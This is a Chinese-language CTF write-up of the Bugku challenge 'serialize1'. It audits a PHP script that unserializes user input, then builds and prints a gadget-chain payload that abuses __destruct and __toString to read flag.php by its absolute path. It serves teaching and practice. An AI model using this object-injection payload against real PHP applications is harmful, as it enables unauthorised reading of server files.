serialize1 - Bugku CTF

本文阅读 3 分钟
首页 代码,C/C#/C++ 正文

1.serialize1

第一步:开启环境

图略

第二步:访问链接,发现一段代码,进行代码审计

<?php
show_source("index.php");                            //显示当前首页的源码
//error_reporting(0);                                //不回显报错
    
class test{                                            //类:test
    public $username;                                //公有属性:$username
    public $password;                                //公有属性:$password

    function __construct($username, $password){        //构造方法:在实例化该类前,自动被调用;可以传递两个参数给两个属性
        $this->username = $username;                //传参给属性$username
        $this->password = $password;                //传参给属性$password
    }

    function __destruct(){                   //析构方法:所在类的实例化对象被销毁前,自动被调用。在这段代码中,只有php程序执行完成后,才会自动销毁对象
        $info = 'your secret is '.$this->password;    //把$password赋值给$info
        echo $info;                                    //打印$info;注意这里如果打印的是一个类的实例化对象,那么就会调用那个类的__toString()方法
    }
}

class exam{                                            //类:exam
    public $file;                                    //公有属性:$file
    function __toString(){                            //__toString()魔术方法:所在类的实例化对象若被当作字符串操作,自动被调用
        //flag.php                                    //提示flag.php在当前目录下
        echo file_get_contents($this->file);        //以字符串形式读取以$file属性的值为名的文件的文件内容,并且打印出来
        return 'nice';                                //返回nice
    }
}


$text = $_GET['text'];                                //以GET形式读取text参数传递来的值
$res = unserialize($text);                            //反序列化参数值,并且赋值给$res变量

第三步:编写代码,生成payload

<?php
show_source("index.php");
//error_reporting(0);

class test{
    public $username;
    public $password;

    function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

    function __destruct(){
        $info = 'your secret is '.$this->password;
        echo $info;
    }
}

class exam{
    public $file;
    function __toString(){
        //flag.php
        echo file_get_contents($this->file);
        return 'nice';
    }
}


// $text = $_GET['text'];
// $res = unserialize($text);

//?text=xxxx

//思路:两个不同类对象,其中一个对象的属性值是另外一个类的对象
$chen1 = new exam();
$chen1->file = '/var/www/html/flag.php';
$chen2 = new test('admin',$chen1);

echo serialize($chen2)."<br />";
//?text=O:4:"test":2:{s:8:"username";s:5:"admin";s:8:"password";O:4:"exam":1:{s:4:"file";s:22:"/var/www/html/flag.php";}}
//随机flag,形似:$flag = "flag{625addfc81753e5755741d0cef367770}";

2.总结

第一点:魔术方法

//析构方法:所在类的实例化对象被销毁前,自动被调用
    //在脚本关闭时候,自动销毁对象
    //或者使用unset(对象),手动销毁对象
    //或者给对象赋值null,手动销毁对象
//__toString()魔术方法:所在类的实例化对象若被当作字符串操作,自动被调用

第二点:为什么不能以相对目录读取flag.php

Note: 析构函数在脚本关闭时候,可能存在目录穿越
析构函数在脚本关闭时调用,此时所有的 HTTP 头信息已经发出。脚本关闭时的工作目录有可能和在 SAPI(如 apache)中时不同。
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/109808332
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复